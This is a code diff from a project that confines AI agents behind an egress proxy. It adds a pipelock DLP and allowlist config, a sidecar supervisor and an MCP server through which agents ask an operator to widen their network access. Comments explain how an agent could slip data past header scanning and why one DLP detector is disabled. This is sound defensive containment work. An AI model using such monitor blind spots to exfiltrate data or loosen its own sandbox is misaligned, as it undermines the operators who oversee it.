if k not in {"name", "email"}:
raise ManifestError(
f"bottle '{bottle_name}' git-gate.user has unknown key {k!r}; "
@@ -281,7 +275,7 @@ def parse_git_gate_config(
raw: object,
) -> tuple[tuple[GitEntry, ...], GitUser]:
d = as_json_object(raw, f"bottle '{bottle_name}' git-gate")
for k in d:
for k in d.keys():
if k not in {"user", "repos"}:
raise ManifestError(
f"bottle '{bottle_name}' git-gate has unknown key {k!r}; "
bot_bottle/manifest_loader.py
+5 -5
View File
@@ -54,9 +54,9 @@ def load_bottles_from_dir(bottles_dir: Path) -> dict[str, Bottle]:
try:
fm, _body = parse_frontmatter(path.read_text())
except OSError as e:
raise ManifestError(f"could not read {path}: {e}") from e
raise ManifestError(f"could not read {path}: {e}")
except YamlSubsetError as e:
raise ManifestError(f"{path}: {e}") from e
raise ManifestError(f"{path}: {e}")
validate_bottle_frontmatter_keys(path, fm.keys())
raws[name] = fm
return resolve_bottles(raws)
@@ -66,7 +66,7 @@ def load_agents_from_dir(
agents_dir: Path,
bottle_names: set[str],
*,
source: str, # noqa: F841 — unused, but required by interface
source: str,
) -> dict[str, Agent]:
"""Walk `<agents_dir>/*.md`, parse each as an agent, and return
`{name: Agent}`. The Markdown body becomes the agent's prompt.
@@ -87,9 +87,9 @@ def load_agents_from_dir(
try:
fm, body = parse_frontmatter(path.read_text())
except OSError as e:
raise ManifestError(f"could not read {path}: {e}") from e
raise ManifestError(f"could not read {path}: {e}")
except YamlSubsetError as e:
raise ManifestError(f"{path}: {e}") from e
raise ManifestError(f"{path}: {e}")
validate_agent_frontmatter_keys(path, fm.keys())
# Build the dict Agent.from_dict expects. The body becomes
# prompt; Claude Code passthrough fields stay in fm and get
bot_bottle/manifest_schema.py
+3 -3
View File
@@ -60,11 +60,11 @@ def _validate_frontmatter_keys(
) -> None:
from .manifest_util import ManifestError
key_set = set(keys) # type: ignore
unknown = key_set - allowed_keys # type: ignore
key_set = set(keys)
unknown = key_set - allowed_keys
if unknown:
allowed = ", ".join(sorted(allowed_keys))
raise ManifestError(
f"{kind} file {path}: unknown frontmatter key(s) "
f"{sorted(unknown)}; allowed keys are {allowed}." # type: ignore
f"{sorted(unknown)}; allowed keys are {allowed}."
)
bot_bottle/pipelock.py
+546
View File
@@ -0,0 +1,546 @@
"""Pipelock sidecar lifecycle for the per-agent egress topology.
Pipelock (https://github.com/luckyPipewrench/pipelock) is an HTTP
forward proxy with hostname allowlisting + DLP scanning + URL-entropy
checks. One sidecar per agent, attached to the agent's --internal
network and a per-agent user-defined egress bridge.
Post-PRD-0017 topology: the agent's HTTP_PROXY points at egress
(not pipelock); egress sets `HTTPS_PROXY=pipelock` on its
outbound leg. So pipelock no longer sees the agent's connections
directly — it sees the egress → upstream leg, applies the
hostname allowlist + DLP body scan there, and forwards to the real
upstream.
Image pin: ghcr.io/luckypipewrench/pipelock@sha256:<digest> for tag 2.3.0.
"""
from __future__ import annotations
from dataclasses import dataclass
from pathlib import Path
from .egress import EGRESS_HOSTNAME, EgressRoute, egress_routes_for_bottle
from .supervise import SUPERVISE_HOSTNAME
from .manifest import Bottle
# Hosts pipelock should NOT TLS-MITM, even when tls_interception is
# enabled. This is now route-owned manifest policy via
# `egress.routes[].pipelock.tls_passthrough`; no provider hosts are
# injected implicitly.
DEFAULT_TLS_PASSTHROUGH: tuple[str, ...] = ()
# In-container paths the rendered pipelock YAML references under
# `tls_interception`. The pipelock binary expects the per-bottle CA
# cert + key at these exact paths inside its container — independent
# of how the daemon is wrapped (own container, sidecar bundle, etc.),
# which is why they live in the platform-neutral module.
PIPELOCK_CA_CERT_IN_CONTAINER = "/etc/pipelock-ca.pem"
PIPELOCK_CA_KEY_IN_CONTAINER = "/etc/pipelock-ca-key.pem"
# Short network alias for pipelock inside the sidecar bundle. The
# agent's HTTP_PROXY (when no egress is declared) and any in-bundle
# consumer's URL both reference this name.
PIPELOCK_HOSTNAME = "pipelock"
# --- Allowlist resolution --------------------------------------------------
def pipelock_effective_allowlist(
bottle: Bottle,
provider_routes: tuple[EgressRoute, ...] = (),
) -> list[str]:
"""Hostnames pipelock allows. Sorted for stability.
Always mirrors `egress_routes_for_bottle(bottle, provider_routes)` —
egress is the single allowlist surface, and pipelock's allowlist is
the downstream copy for defense-in-depth + DLP body scanning. For
bottles without any `egress.routes[]` declared, this is empty except
for supervise sidecar traffic when `supervise: true`.
The supervise sidecar's hostname is auto-added when supervise
is enabled (sibling-sidecar traffic that flows through pipelock
would otherwise be 403'd). Git upstreams declared in
`bottle.git` do NOT contribute here — git traffic flows
through git-gate (PRD 0008), not pipelock."""
seen: dict[str, None] = {}
for r in egress_routes_for_bottle(bottle, provider_routes):
if r.host:
seen.setdefault(r.host, None)
if bottle.supervise:
seen.setdefault(SUPERVISE_HOSTNAME, None)
return sorted(seen.keys())
def pipelock_seed_phrase_detection_enabled(bottle: Bottle) -> bool:
"""Whether pipelock's BIP-39 seed-phrase detector stays on.
LLM conversation bodies legitimately trip the detector — any 12+
English words that pass the BIP-39 checksum match — so agents can
get blocked on ordinary prompts/responses regardless of provider
(Claude, Codex/OpenAI, or future harnesses). We tried two narrower
knobs first:
- `suppress: [{rule, path}]` — pipelock accepts the schema
but the entry only silences the alert; the body_dlp block
still fires.
- `rules.disabled: ["dlp:BIP-39 Seed Phrase"]` — same shape,
same outcome: 403 still returned.
Empirically only `seed_phrase_detection.enabled: false`
actually stops the block (verified by sending a 12-word BIP-39
body through three pipelock instances). It is a global toggle —
no per-path / per-host knob in pipelock 2.3.0 — so we turn off
only this detector for every bottle. The rest of pipelock's DLP
defaults and request-body/header scanning remain enabled."""
del bottle # kept for call-site stability and future policy knobs.
return False
def pipelock_effective_tls_passthrough(
bottle: Bottle,
provider_routes: tuple[EgressRoute, ...] = (),
) -> list[str]:
"""Hostnames pipelock should pass through (no TLS MITM).
A manifest route opts in with `pipelock.tls_passthrough: true`
(lifted into `EgressRoute.tls_passthrough` in `egress_manifest_routes`).
Provider routes that set `tls_passthrough=True` (e.g. Codex credential
routes where egress injects the host bearer after the agent boundary)
are also included. Both arrive via `egress_routes_for_bottle` — no
provider-specific branching needed here.
"""
seen: dict[str, None] = {host: None for host in DEFAULT_TLS_PASSTHROUGH}
for route in egress_routes_for_bottle(bottle, provider_routes):
if route.tls_passthrough:
seen.setdefault(route.host, None)
return sorted(seen.keys())
def pipelock_effective_ssrf_ip_allowlist(
bottle: Bottle,
extra: tuple[str, ...] = (),
) -> list[str]:
"""IP/CIDR entries that bypass pipelock's SSRF destination guard.
Launch code can pass backend-owned entries through `extra`, while
route-owned entries come from `pipelock.ssrf_ip_allowlist`.
"""
seen: dict[str, None] = {ip: None for ip in extra}
for route in bottle.egress.routes:
for ip in route.Pipelock.SsrfIpAllowlist:
seen.setdefault(ip, None)
return sorted(seen.keys())
# --- Config build + YAML render --------------------------------------------
def pipelock_build_config(
bottle: Bottle,
*,
ca_cert_path: str = "",
ca_key_path: str = "",
ssrf_ip_allowlist: tuple[str, ...] = (),
provider_routes: tuple[EgressRoute, ...] = (),
) -> dict[str, object]:
"""Build the structured pipelock config dict the sidecar will load.
Deliberately carries no env values, no secrets, no per-agent
customization beyond the resolved hostname list. The shape mirrors
the YAML pipelock expects on disk; `pipelock_render_yaml` serializes
it. Tests assert on this dict; production code renders it.
`ca_cert_path` / `ca_key_path` are the **in-container** paths the
pipelock sidecar will read its CA from at runtime (they're
populated into the container at start time via `docker cp`).
Pass both or neither: both → emit `tls_interception` block with
`enabled: true`; neither → omit the block entirely (pipelock
falls back to its built-in default of `enabled: false`). Used
by PRD 0006 to turn on pipelock's native TLS interception.
`ssrf_ip_allowlist` is the list of IPs / CIDRs that bypass
pipelock's SSRF guard. Pipelock blocks RFC1918-resolved
destinations by default, which would catch sibling-sidecar
traffic on the bottle's internal Docker network in 172.x space
(e.g. egress → pipelock on the upstream leg). Pass the
bottle's internal network CIDR here so internal-network requests
pass through pipelock while api_allowlist + body-scanning still
apply. Empty by default; omitted from the rendered yaml when
empty so pipelock keeps its built-in SSRF defaults."""
cfg: dict[str, object] = {
"version": 1,
"mode": "strict",
"enforce": True,
"api_allowlist": pipelock_effective_allowlist(bottle, provider_routes),
"forward_proxy": {"enabled": True},
}
if not pipelock_seed_phrase_detection_enabled(bottle):
cfg["seed_phrase_detection"] = {"enabled": False}
cfg["dlp"] = {"include_defaults": True, "scan_env": True}
# Body-scan enforcement is a separate pipelock section (each DLP
# "surface" — body, MCP, response — has its own action). Pipelock's
# built-in default for request_body_scanning is "warn" (forward
# with a log line); bot-bottle hard-codes "block" so a hit
# actually stops the request from leaving the egress network.
#
# `scan_headers: true` + `header_mode: all` extends the scan to
# every request header — pipelock's default `header_mode:
# sensitive` only checks Authorization / Cookie / X-Api-Key /
# X-Token / Proxy-Authorization / X-Goog-Api-Key, which an
# agent attempting to exfil could trivially avoid by picking
# a non-sensitive header name. "all" closes the gap; pipelock
# caps it at the same max_body_bytes the body scan uses.
cfg["request_body_scanning"] = {
"action": "block",
"scan_headers": True,
"header_mode": "all",
}
if ca_cert_path or ca_key_path:
if not (ca_cert_path and ca_key_path):
raise ValueError(
"pipelock_build_config: pass both ca_cert_path and ca_key_path "
"to enable tls_interception, or neither to leave it off"
)
cfg["tls_interception"] = {
"enabled": True,
"ca_cert": ca_cert_path,
"ca_key": ca_key_path,
"passthrough_domains": pipelock_effective_tls_passthrough(bottle, provider_routes),
}
effective_ssrf_ip_allowlist = pipelock_effective_ssrf_ip_allowlist(
bottle, ssrf_ip_allowlist,
)
if effective_ssrf_ip_allowlist:
cfg["ssrf"] = {"ip_allowlist": effective_ssrf_ip_allowlist}
return cfg
_PIPELOCK_TOP_LEVEL_KEYS = {
"version",
"mode",
"enforce",
"api_allowlist",
"seed_phrase_detection",
"forward_proxy",
"dlp",
"request_body_scanning",
"tls_interception",
"ssrf",
}
def _pipelock_render_error(section: str, key: str, expected: str) -> ValueError:
return ValueError(
f"pipelock_render_yaml: {section}.{key} must be {expected}"
)
def _reject_unknown_keys(
section: str,
obj: dict[str, object],
allowed: set[str],
) -> None:
for key in sorted(set(obj) - allowed):
raise ValueError(f"pipelock_render_yaml: {section}.{key} is unsupported")
def _required_dict(
obj: dict[str, object],
section: str,
key: str,
) -> dict[str, object]:
value = obj.get(key)
if not isinstance(value, dict):
raise _pipelock_render_error(section, key, "a mapping")
return value
def _required_bool(obj: dict[str, object], section: str, key: str) -> bool:
value = obj.get(key)
if not isinstance(value, bool):
raise _pipelock_render_error(section, key, "a boolean")
return value
def _required_int(obj: dict[str, object], section: str, key: str) -> int:
value = obj.get(key)
if isinstance(value, bool) or not isinstance(value, int):
raise _pipelock_render_error(section, key, "an integer")
return value
def _required_str(obj: dict[str, object], section: str, key: str) -> str:
value = obj.get(key)
if not isinstance(value, str):
raise _pipelock_render_error(section, key, "a string")
return value
def _required_str_list(
obj: dict[str, object],
section: str,
key: str,
) -> list[str]:
value = obj.get(key)
if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
raise _pipelock_render_error(section, key, "a list of strings")
return value
def _optional_str_list(
obj: dict[str, object],
section: str,
key: str,
) -> list[str]:
if key not in obj:
return []
return _required_str_list(obj, section, key)
def _optional_bool(
obj: dict[str, object],
section: str,
key: str,
) -> bool | None:
if key not in obj:
return None
return _required_bool(obj, section, key)
def _optional_str(
obj: dict[str, object],
section: str,
key: str,
) -> str | None:
if key not in obj:
return None
return _required_str(obj, section, key)
def _validate_pipelock_render_config(cfg: dict[str, object]) -> dict[str, object]:
_reject_unknown_keys("config", cfg, _PIPELOCK_TOP_LEVEL_KEYS)
normalized: dict[str, object] = {
"version": _required_int(cfg, "config", "version"),
"mode": _required_str(cfg, "config", "mode"),
"enforce": _required_bool(cfg, "config", "enforce"),
"api_allowlist": _required_str_list(cfg, "config", "api_allowlist"),
}
if "seed_phrase_detection" in cfg:
spd = _required_dict(cfg, "config", "seed_phrase_detection")
_reject_unknown_keys("seed_phrase_detection", spd, {"enabled"})
normalized["seed_phrase_detection"] = {
"enabled": _required_bool(spd, "seed_phrase_detection", "enabled"),
}
fp = _required_dict(cfg, "config", "forward_proxy")
_reject_unknown_keys("forward_proxy", fp, {"enabled"})
normalized["forward_proxy"] = {
"enabled": _required_bool(fp, "forward_proxy", "enabled"),
}
dlp = _required_dict(cfg, "config", "dlp")
_reject_unknown_keys("dlp", dlp, {"include_defaults", "scan_env"})
normalized["dlp"] = {
"include_defaults": _required_bool(dlp, "dlp", "include_defaults"),
"scan_env": _required_bool(dlp, "dlp", "scan_env"),
}
rbs = _required_dict(cfg, "config", "request_body_scanning")
_reject_unknown_keys(
"request_body_scanning",
rbs,
{"action", "scan_headers", "header_mode"},
)
normalized_rbs: dict[str, object] = {
"action": _required_str(rbs, "request_body_scanning", "action"),
}
scan_headers = _optional_bool(rbs, "request_body_scanning", "scan_headers")
if scan_headers is not None:
normalized_rbs["scan_headers"] = scan_headers
header_mode = _optional_str(rbs, "request_body_scanning", "header_mode")
if header_mode is not None:
normalized_rbs["header_mode"] = header_mode
normalized["request_body_scanning"] = normalized_rbs
if "tls_interception" in cfg:
tls = _required_dict(cfg, "config", "tls_interception")
_reject_unknown_keys(
"tls_interception",
tls,
{"enabled", "ca_cert", "ca_key", "passthrough_domains"},
)
normalized["tls_interception"] = {
"enabled": _required_bool(tls, "tls_interception", "enabled"),
"ca_cert": _required_str(tls, "tls_interception", "ca_cert"),
"ca_key": _required_str(tls, "tls_interception", "ca_key"),
"passthrough_domains": _optional_str_list(
tls, "tls_interception", "passthrough_domains",
),
}
if "ssrf" in cfg:
ssrf = _required_dict(cfg, "config", "ssrf")
_reject_unknown_keys("ssrf", ssrf, {"ip_allowlist"})
normalized["ssrf"] = {
"ip_allowlist": _required_str_list(ssrf, "ssrf", "ip_allowlist"),
}
return normalized
def pipelock_render_yaml(cfg: dict[str, object]) -> str:
"""Render a pipelock config dict (as produced by
`pipelock_build_config`) as YAML. Hand-rolled so we don't take a
YAML-parser dependency for a fixed, narrow shape."""
def _bool(b: object) -> str:
return "true" if b else "false"
cfg = _validate_pipelock_render_config(cfg)
lines: list[str] = []
lines.append(f"version: {cfg['version']}")
lines.append(f"mode: {cfg['mode']}")
lines.append(f"enforce: {_bool(cfg['enforce'])}")
lines.append("")
lines.append("api_allowlist:")
api_allowlist = cfg["api_allowlist"]
assert isinstance(api_allowlist, list)
for h in api_allowlist:
lines.append(f' - "{h}"')
lines.append("")
if "seed_phrase_detection" in cfg:
lines.append("seed_phrase_detection:")
spd = cfg["seed_phrase_detection"]
assert isinstance(spd, dict)
lines.append(f" enabled: {_bool(spd['enabled'])}")
lines.append("")
lines.append("forward_proxy:")
fp = cfg["forward_proxy"]
assert isinstance(fp, dict)
lines.append(f" enabled: {_bool(fp['enabled'])}")
lines.append("")
lines.append("dlp:")
dlp = cfg["dlp"]
assert isinstance(dlp, dict)
lines.append(f" include_defaults: {_bool(dlp['include_defaults'])}")
lines.append(f" scan_env: {_bool(dlp['scan_env'])}")
lines.append("")
lines.append("request_body_scanning:")
rbs = cfg["request_body_scanning"]
assert isinstance(rbs, dict)
lines.append(f' action: "{rbs["action"]}"')
if "scan_headers" in rbs:
lines.append(f" scan_headers: {_bool(rbs['scan_headers'])}")
if "header_mode" in rbs:
lines.append(f' header_mode: "{rbs["header_mode"]}"')
if "tls_interception" in cfg:
lines.append("")
lines.append("tls_interception:")
tls = cfg["tls_interception"]
assert isinstance(tls, dict)
lines.append(f" enabled: {_bool(tls['enabled'])}")
lines.append(f' ca_cert: "{tls["ca_cert"]}"')
lines.append(f' ca_key: "{tls["ca_key"]}"')
passthrough = tls["passthrough_domains"]
assert isinstance(passthrough, list)
if passthrough:
lines.append(" passthrough_domains:")
for d in passthrough:
lines.append(f' - "{d}"')
if "ssrf" in cfg:
lines.append("")
lines.append("ssrf:")
ssrf = cfg["ssrf"]
assert isinstance(ssrf, dict)
lines.append(" ip_allowlist:")
ip_allowlist = ssrf["ip_allowlist"]
assert isinstance(ip_allowlist, list)
for ip in ip_allowlist:
lines.append(f' - "{ip}"')
return "\n".join(lines) + "\n"
# --- Proxy class -----------------------------------------------------------
@dataclass(frozen=True)
class PipelockProxyPlan:
"""Output of PipelockProxy.prepare; consumed by .start when the
sidecar needs to be brought up.
yaml_path + slug are filled in at prepare time (host-side, side-
effect-free; the YAML references the in-container CA paths
already so it doesn't need the host paths to be valid). The
remaining fields are populated by the backend's launch step
via `dataclasses.replace`: internal/egress networks once
those networks exist, the CA host paths once the one-shot
`pipelock tls init` has run, and `internal_network_cidr` once
Docker has assigned a subnet to the internal network. Empty
defaults are sentinels meaning "not yet set"; `.start` validates
that they are populated.
`internal_network_cidr` ends up on pipelock's `ssrf.ip_allowlist`
so traffic from sibling sidecars (egress → pipelock on the
upstream leg, etc.) bypasses pipelock's RFC1918 SSRF guard while
api_allowlist and body-scanning still apply."""
yaml_path: Path
slug: str
internal_network: str = ""
internal_network_cidr: str = ""
egress_network: str = ""
ca_cert_host_path: Path = Path()
ca_key_host_path: Path = Path()
class PipelockProxy:
"""The pipelock egress proxy. Encapsulates the YAML-config
generation; the container lifecycle is owned by whatever
wraps the daemon (compose-managed pipelock container on docker,
sidecar-bundle PID 1 on smolmachines).
Backends instantiate the class directly — there are no
platform-specific subclasses; the in-container CA paths are
universal module-level constants
(`PIPELOCK_CA_CERT_IN_CONTAINER` / `PIPELOCK_CA_KEY_IN_CONTAINER`)."""
def prepare(
self,
bottle: Bottle,
slug: str,
stage_dir: Path,
provider_routes: tuple[EgressRoute, ...] = (),
) -> PipelockProxyPlan:
"""Write the pipelock yaml config (mode 600) under `stage_dir`
and return the plan for launch. Pure host-side, no docker
subprocess.
`slug` is the agent-derived identifier (lowercased,
hyphen-normalized) used as the suffix in every per-agent
resource name — the agent container, the sidecar bundle
container, the internal/egress networks. It's stored on the
returned plan so the backend's launch step can derive those
names.
The CA paths the YAML references are the module-level
in-container constants. The host-side counterparts are
generated by the launch step (not here, so prepare stays
side-effect-free on docker) and added to the plan via
`dataclasses.replace` before the daemon starts."""
yaml_path = stage_dir / "pipelock.yaml"
cfg = pipelock_build_config(
bottle,
ca_cert_path=PIPELOCK_CA_CERT_IN_CONTAINER,
ca_key_path=PIPELOCK_CA_KEY_IN_CONTAINER,
provider_routes=provider_routes,
)
yaml_path.write_text(pipelock_render_yaml(cfg))
yaml_path.chmod(0o600)
return PipelockProxyPlan(yaml_path=yaml_path, slug=slug)
bot_bottle/sidecar_init.py
+42 -12
View File
@@ -1,7 +1,7 @@
"""Per-bottle sidecar supervisor (PRD 0024 chunk 1).
PID 1 inside the `bot-bottle-sidecars` bundle image. Spawns
the configured daemons (egress, git-gate, supervise),
the configured daemons (egress, pipelock, git-gate, supervise),
forwards SIGTERM/SIGINT to each child, and propagates per-daemon
stdout+stderr to the container log with a `[name] ` prefix.
@@ -19,7 +19,7 @@ PR; the interim policy is "don't take the bundle down for one
sick daemon."
Daemon subset is env-driven. The compose renderer narrows it via
`BOT_BOTTLE_SIDECAR_DAEMONS=egress` for bottles that
`BOT_BOTTLE_SIDECAR_DAEMONS=egress,pipelock` for bottles that
don't use git-gate or supervise. Default: all daemons.
Stdlib-only by design — adding supervisord/s6/runit for four
@@ -57,7 +57,14 @@ class _DaemonSpec:
# Env-var name prefixes that carry egress-only credentials.
# `egress_apply.py` assigns `EGRESS_TOKEN_<n>` slots that egress
# reads to inject `Authorization` headers on configured routes;
# no other daemon in the bundle should see these values.
# every other daemon in the bundle (especially pipelock with
# `scan_env: true`) MUST NOT see these values or it'll match the
# injected token in the request egress just sent and 403-block
# the legitimate traffic (issue #84). The agent itself runs in a
# different machine and never has access to these slots in the
# first place, so stripping them from non-egress daemons loses no
# DLP coverage — pipelock can't catch the exfil of a value the
# agent doesn't have.
_EGRESS_ONLY_ENV_PREFIXES: tuple[str, ...] = ("EGRESS_TOKEN_",)
@@ -74,8 +81,22 @@ def _env_for_daemon(name: str, base_env: dict[str, str]) -> dict[str, str]:
}
# Order matters only for first-launch race-window reasons: egress
# starts first so pipelock's upstream connect succeeds during
# pipelock's own startup. git-gate and supervise are independent.
# Pipelock binds 0.0.0.0:8888 explicitly. Without `--listen` it
# defaults to 127.0.0.1 which would be unreachable from sibling
# services on the docker network. The legacy four-sidecar
# compose renderer passed the same flag; the bundle keeps the
# explicit binding.
_DAEMONS: tuple[_DaemonSpec, ...] = (
_DaemonSpec("egress", ("/bin/sh", "/app/egress-entrypoint.sh")),
_DaemonSpec(
"pipelock",
("/usr/local/bin/pipelock", "run",
"--config", "/etc/pipelock.yaml",
"--listen", "0.0.0.0:8888"),
),
_DaemonSpec("git-gate", ("/bin/sh", "/git-gate-entrypoint.sh")),
_DaemonSpec("git-http", ("python3", "/app/git_http_backend.py")),
_DaemonSpec("supervise", ("python3", "/app/supervise_server.py")),
@@ -117,7 +138,7 @@ def _pump(name: str, stream: IO[bytes]) -> None:
sys.stdout.flush()
def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
def _spawn(spec: _DaemonSpec) -> subprocess.Popen:
proc = subprocess.Popen(
list(spec.argv),
stdout=subprocess.PIPE,
@@ -137,7 +158,7 @@ class _Supervisor:
def __init__(self, specs: Sequence[_DaemonSpec]):
self.specs = tuple(specs)
self.procs: list[tuple[_DaemonSpec, subprocess.Popen[bytes]]] = []
self.procs: list[tuple[_DaemonSpec, subprocess.Popen]] = []
self.shutdown_at: float | None = None
# Names of children that have been logged as having exited
# so we only log each death once across watch-loop ticks.
@@ -282,8 +303,10 @@ class _Supervisor:
def restart_daemon(self, daemon_name: str, *, grace: float = 5.0) -> bool:
"""Terminate one named child and spawn a fresh one, leaving
the other daemons running. A daemon that has no in-process
reload can be restarted this way after its config file changes.
the other daemons running. Used by the pipelock-apply path:
pipelock has no in-process reload, so apply_allowlist_change
runs `docker kill --signal USR1 <bundle>` after writing the
new yaml; the supervisor catches SIGUSR1 and calls this.
Behavior: SIGTERM → wait up to `grace` seconds → SIGKILL if
still alive → spawn a replacement under the same DaemonSpec.
@@ -291,8 +314,8 @@ class _Supervisor:
forward_signal / shutdown calls reach the new pid.
Returns True iff a daemon by that name was running and a
replacement spawned; False if no such daemon (not wired
for this bottle)."""
replacement spawned; False if no such daemon (the
compose-renderer subset said this bottle doesn't run it)."""
if self.shutdown_at is not None:
_log(f"restart {daemon_name} skipped; supervisor is shutting down")
return False
@@ -337,13 +360,20 @@ def main(argv: Sequence[str] | None = None) -> int:
sup = _Supervisor(specs)
sup.start_all()
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM")) # type: ignore
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT")) # type: ignore
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))
# SIGHUP reload path: egress_apply.py runs `docker kill
# --signal HUP <bundle>` after writing routes.yaml. The kernel
# delivers SIGHUP to PID 1 (this supervisor); forward it to
# mitmdump so it reloads its addon.
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress")) # type: ignore
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))
# SIGUSR1 pipelock-restart path: pipelock_apply.py runs
# `docker kill --signal USR1 <bundle>` after writing
# pipelock.yaml. Pipelock has no in-process reload, so the
# supervisor restarts the pipelock daemon in place (other
# daemons keep running — specifically supervise, whose MCP
# socket would drop on a whole-container `docker restart`).
signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock"))
while not sup.tick():
time.sleep(_POLL_INTERVAL)
bot_bottle/supervise.py
+13 -7
View File
@@ -6,7 +6,8 @@ sits on the bottle's internal network and exposes three MCP tools the
agent calls when it hits a stuck-recovery category:
* egress-block — agent proposes a new routes.yaml
* capability-block — agent proposes a new agent Dockerfile
* pipelock-block — agent proposes a new pipelock allowlist
* capability-block — agent proposes a new agent Dockerfile
Each tool call: the agent passes the full proposed file plus a
justification text. The sidecar validates the proposal syntactically,
@@ -39,7 +40,7 @@ import json
import os
import time
import uuid
from abc import ABC
from abc import ABC, abstractmethod
from dataclasses import dataclass
from datetime import datetime, timezone
from pathlib import Path
@@ -49,10 +50,12 @@ SUPERVISE_HOSTNAME = "supervise"
SUPERVISE_PORT = 9100
TOOL_EGRESS_BLOCK = "egress-block"
TOOL_PIPELOCK_BLOCK = "pipelock-block"
TOOL_CAPABILITY_BLOCK = "capability-block"
TOOL_LIST_EGRESS_ROUTES = "list-egress-routes"
TOOLS: tuple[str, ...] = (
TOOL_EGRESS_BLOCK,
TOOL_PIPELOCK_BLOCK,
TOOL_CAPABILITY_BLOCK,
TOOL_LIST_EGRESS_ROUTES,
)
@@ -73,6 +76,7 @@ EGRESS_INTROSPECT_URL = "http://_egress.local/allowlist"
# record laid down in PRD 0016.
COMPONENT_FOR_TOOL: dict[str, str] = {
TOOL_EGRESS_BLOCK: "egress",
TOOL_PIPELOCK_BLOCK: "pipelock",
}
STATUS_APPROVED = "approved"
@@ -81,7 +85,8 @@ STATUS_REJECTED = "rejected"
STATUSES: tuple[str, ...] = (STATUS_APPROVED, STATUS_MODIFIED, STATUS_REJECTED)
# Operator-initiated audit entries (no tool call). PRD 0014's
# `routes edit <bottle>` verb writes entries with this action.
# `routes edit <bottle>` and PRD 0015's `pipelock edit <bottle>`
# verbs write entries with this action.
ACTION_OPERATOR_EDIT = "operator-edit"
QUEUE_DIR_IN_CONTAINER = "/run/supervise/queue"
@@ -514,22 +519,22 @@ def _atomic_write(path: Path, content: str, *, mode: int) -> None:
try:
import fcntl as _fcntl
def _try_flock(fd: int) -> None: # type: ignore[reportRedeclaration]
def _try_flock(fd: int) -> None:
try:
_fcntl.flock(fd, _fcntl.LOCK_EX)
except OSError:
pass
def _try_funlock(fd: int) -> None: # type: ignore[reportRedeclaration]
def _try_funlock(fd: int) -> None:
try:
_fcntl.flock(fd, _fcntl.LOCK_UN)
except OSError:
pass
except ImportError: # pragma: no cover — Windows path
def _try_flock(fd: int) -> None: # noqa: F841 — Windows fallback
def _try_flock(fd: int) -> None:
return None
def _try_funlock(fd: int) -> None: # noqa: F841 — Windows fallback
def _try_funlock(fd: int) -> None:
return None
@@ -557,6 +562,7 @@ __all__ = [
"TOOL_CAPABILITY_BLOCK",
"TOOL_EGRESS_BLOCK",
"TOOL_LIST_EGRESS_ROUTES",
"TOOL_PIPELOCK_BLOCK",
"archive_proposal",
"audit_dir",
"audit_log_path",
bot_bottle/supervise_server.py
+108 -35
View File
@@ -1,8 +1,8 @@
"""Supervise sidecar HTTP server (PRD 0013).
Per-bottle MCP server exposing two tools — `egress-block`,
`capability-block` — that the agent calls to propose config changes
when stuck. Each tool call:
Per-bottle MCP server exposing three tools — `egress-block`,
`pipelock-block`, `capability-block` — that the agent calls to
propose config changes when stuck. Each tool call:
1. Validates the proposed file syntactically.
2. Writes a Proposal to /run/supervise/queue/ (bind-mounted from
@@ -18,7 +18,7 @@ Speaks MCP over HTTP+JSON-RPC. Methods handled:
* `initialize` — handshake; returns server info + caps.
* `notifications/initialized` — ack-only.
* `tools/list` — returns the tool definitions.
* `tools/list` — returns the three tool definitions.
* `tools/call` — validates, queues, blocks, returns.
Everything else returns JSON-RPC error -32601 (method not found).
@@ -38,6 +38,7 @@ import sys
import time
import typing
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass
from pathlib import Path
@@ -137,28 +138,28 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
"name": _sv.TOOL_EGRESS_BLOCK,
"description": (
"Call when egress refused your HTTPS request — host "
"without a matching route, or a request that did not match "
"the route's matches rules (typically a 403 from the "
"proxy). Propose a SINGLE route to add: the host you "
"need + (optionally) a path_allowlist of path prefixes + "
"(optionally) an auth block. The supervisor merges the "
"route into the live table at approval time — you do NOT "
"need to see or reproduce the existing routes. If the "
"host already has a route, the proposed paths are unioned "
"with the existing ones (host stays single-route). The "
"operator approves or rejects in the supervise TUI. On "
"approval the supervisor writes the merged routes.yaml "
"and SIGHUPs egress (no dropped connections)."
"without a matching route, or a path outside the route's "
"path_allowlist (typically a 403 from the proxy). Propose "
"a SINGLE route to add: the host you need + (optionally) "
"a path_allowlist + (optionally) an auth block. The "
"supervisor merges the route into the live table at "
"approval time — you do NOT need to see or reproduce the "
"existing routes, and you do not pass a full routes file. "
"If the host already has a route, the proposed "
"path_allowlist entries are unioned with the existing "
"ones (host stays single-route). The operator approves "
"or rejects in the supervise TUI. On approval the "
"supervisor writes the merged routes.yaml, SIGHUPs "
"egress (atomic swap, no dropped connections), and "
"mirrors the host onto pipelock's allowlist for the "
"downstream gate."
),
"inputSchema": {
"type": "object",
"properties": {
"host": {
"type": "string",
"description": (
"The hostname to allow (e.g. 'api.github.com'). "
"Case-insensitive on match."
),
"description": "The hostname to allow (e.g. 'api.github.com'). Case-insensitive on match.",
},
"path_allowlist": {
"type": "array",
@@ -166,8 +167,7 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
"description": (
"Optional URL path prefixes the route permits. "
"Each must start with '/'. Omit to allow all "
"paths under this host (bare-pass route). "
"Internally converted to matches entries."
"paths under this host (bare-pass route)."
),
},
"auth": {
@@ -200,11 +200,15 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
"name": _sv.TOOL_LIST_EGRESS_ROUTES,
"description": (
"List the current egress route table — the bottle's "
"allowlist. Returns JSON with one entry per allowed host, "
"each carrying its matches rules (if any) and whether "
"the proxy injects Authorization for the route. Use this "
"before composing an `egress-block` proposal so the new "
"routes file extends the live one rather than replacing it."
"primary egress allowlist. Returns JSON with one entry "
"per allowed host, each carrying its path_allowlist (if "
"any) and whether the proxy injects Authorization for "
"the route. Use this before composing an "
